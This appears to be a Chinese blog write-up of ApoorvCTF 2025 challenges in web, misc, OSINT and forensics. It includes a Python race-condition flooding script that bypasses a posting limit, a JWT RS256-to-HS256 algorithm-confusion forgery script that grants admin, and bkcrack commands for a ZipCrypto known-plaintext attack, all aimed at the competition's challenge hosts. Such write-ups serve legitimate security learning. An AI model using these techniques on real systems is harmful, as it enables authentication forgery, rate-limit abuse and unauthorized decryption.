ApoorvCTF 2025 writeup【部分】

赛事信息

web

SEO CEO

根据题目提示,SEO,可能要和robots.txt和sitemap.xml有关,访问到robots.txt 给了一个假的flag,然后开始访问sitemap.xml,有一个提示路径
在这里插入图片描述
在这里插入图片描述
拿到新提示后,说要给url传递yes或no,猜测参数?flag=yes
在这里插入图片描述
flag:apoorvctf{s30_1snT_0pt1onaL}

Blog-1

考点:条件竞争,api猜测
首先随便注册一个账号登录后,根据提示,发5个文章送礼物,但是每天只能发一个
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在尝试了jwt爆破、sql注入、dirsearch扫描、修改发送的请求体的date字段,都没拿到想要的东西后,猜测需要高并发发送addBlog接口拿flag
于是写一个脚本,使用python的异步请求高并发,多次尝试(由于网络环境和电脑的差异,不一定每次都成功)

import asyncio
import aiohttp
import concurrent.futures
from datetime import datetime, timedelta
import random

URL = "http://chals1.apoorvctf.xyz:5001/api/v1/blog/addBlog"
TOKEN = "YOUR_TOKEN"
MAX_WORKERS = 30  # 根据网络带宽调整(建议20-50)

def generate_dates():
    """生成随机日期池(避免连续日期触发限制)"""
    base_date = datetime(2025, 3, 1)
    return [
        (base_date + timedelta(days=random.randint(0, 30))).isoformat() + "Z"
        for _ in range(100)
    ]

async def async_flood(date):
    """异步请求核心函数"""
    async with aiohttp.ClientSession(
        connector=aiohttp.TCPConnector(limit=0),
        headers={
            "Authorization": f"Bearer {TOKEN}",
            "Content-Type": "application/json",
            "User-Agent": f"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/{random.randint(120,124)}.0.0.0 Safari/537.36"
        }
    ) as session:
        data = {
            "title": f"Blog-{random.randint(1,10000)}",
            "description": "Ultra Fast",
            "visible": True,
            "date": date
        }
        try:
            async with session.post(
                URL,
                json=data,
                ssl=False
            ) as resp:
                return await resp.text()
        except Exception as e:
            return f"Error: {str(e)}"

def thread_flood(date_pool):
    """线程级洪水攻击"""
    loop = asyncio.new_event_loop()
    asyncio.set_event_loop(loop)
    return loop.run_until_complete(asyncio.gather(
        *[async_flood(date) for date in date_pool]
    ))

if __name__ == "__main__":
    date_pool = generate_dates()
    
    # 将日期池分成多个批次(每批次10个日期)
    batch_size = 10
    batches = [date_pool[i:i+batch_size] for i in range(0, len(date_pool), batch_size)]
    
    with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as executor:
        futures = [executor.submit(thread_flood, batch) for batch in batches]
        for future in concurrent.futures.as_completed(futures):
            results = future.result()
            for date, resp in zip(date_pool, results):
                if "successfully" in resp:
                    print(f"\033[32m[+] {date} Success\033[0m")
                else:
                    continue
                    print(f"\033[31m[-] {date} Failed | {resp[:100]}\033[0m")

在这里插入图片描述
在发送了超过5次blog后,尝试拿到礼物,但是直接拿礼物会得到一个假的flag,是一个视频链接
在这里插入图片描述
进行了一波代码审计,发现其他api接口都是v1,但是gift接口是v2
在这里插入图片描述
在这里插入图片描述
将其改为v1版本,就拿到flag了,还是挺狗的
在这里插入图片描述
flag:apoorvctf{s1gm@_s1gm@_b0y}

Tan-je-ro

开局什么都没,先扫描一下字典路径,发现有三个路径:admin、login、public。可以访问它们
在这里插入图片描述
会拿到一个token,一个公钥,还有一个需要token才能访问的接口
在这里插入图片描述
在这里插入图片描述
到这里猜测又是jwt伪造之类的题,直接上exp,将rs256算法伪造为hs256算法,因为我们没私钥

import jwt
import requests
import base64
import re

public_key_pem = """-----BEGIN RSA PUBLIC KEY-----
MIIBCgKCAQEAwcMU3Y6CQyvA87vJRKZomubiceep9YlNdp6y95ICIZ3y7jV3oZyt
b1zfwFJ1p/pdTd7ckOOQVsP6/Y7g6gLa9S8YZmKzy7jU6EnV2XPnXTF287hXasup
OzLd4iAzRw12r9pIQ/Fjum8pQ2LzWEaAmuHfkm1o3C9i8ZsbfvZIw/tAB/qEfh34
dGoVvPsJawF44oEFkAQYlS40FmM1EkNzNmNPtKUXlRrr0be0PTCshUbX7VpGC0b1
9JKb/vB+KGye6yUjLwHKKUHZedHQFMMV9OayOwWSnP9J+9Tq77qyNSeBe6vy6uD1
XPm0mfmUYLJZKy0XqjHHxOB9DjKaecmMoQIDAQAB
-----END RSA PUBLIC KEY-----"""
public_key_b64 = re.sub(r"-----.*?-----|\s", "", public_key_pem)
public_key_bytes = base64.b64decode(public_key_b64)
headers = {"alg": "HS256", "typ": "JWT"}
payload = {
  "admin": True,
  "name": "Guest",
  "iat": 1740846920
}
new_jwt = jwt.encode(payload, public_key_bytes, algorithm="HS256", headers=headers)
print("New JWT:", new_jwt)

这里卡住了,之后看看wp再复现吧

misc

Ghosted on the 14th

https://web.archive.org/

打开附件流量包,然后追踪流查看,发现一个对话,说写了一个blog,但删除了,流量包本身很简陋啥都没,所以考虑到网页存档馆
在这里插入图片描述
在网页存档馆搜索,http://172.200.32.81:8080,的历史网页,确实能找到之前有过记录

https://web.archive.org/web/20250214175543/http://172.200.32.81:8080/

在这里插入图片描述
打开这个记录,看到一个文章,但什么flag都看不到,点击查看网页源代码后发现一个base64后的字符串,解密后得到flag
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
flag: apoorctf{1m_g01ng_1n5an3}

osint

I Love Japan: Identity Game

给了一个图片,直接google用图搜索建筑,发现一个高度相似的建筑,点进去看一下是东京铁塔的Diamond Mirror,设计者是kaz_shirane,由于题目给了提示是真名,而不是username/nickname,所以直接google搜真名就出了
在这里插入图片描述

换成小写就是flag
flag :apoorvctf{masakazu_shirane}

forensics

Samurai’s Code

首先打开压缩包,发现压缩算法为ZipCrypto,且有一个图片,图片png的默认头格式我们是知道的,所以很符合明文攻击的特征
在这里插入图片描述
利用工具bkcrack进行明文攻击,压缩包内的文件是png文件,所以尝试构造 png 头(取某个png图片的的前 16 个字节)

89504E470D0A1A0A0000000D49484452

bkcrack -C recipe.zip -c secret_recipe.png -p png -o 0

在这里插入图片描述
得到三个key,使用命令导出图片
bkcrack -C recipe.zip -c secret_recipe.png -k 7cfefd6a 4aedd214 970c7187 -d out.png
在这里插入图片描述
在这里插入图片描述
flag: apoorvctf{w0rst_r4m3n_3v3r_ong}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值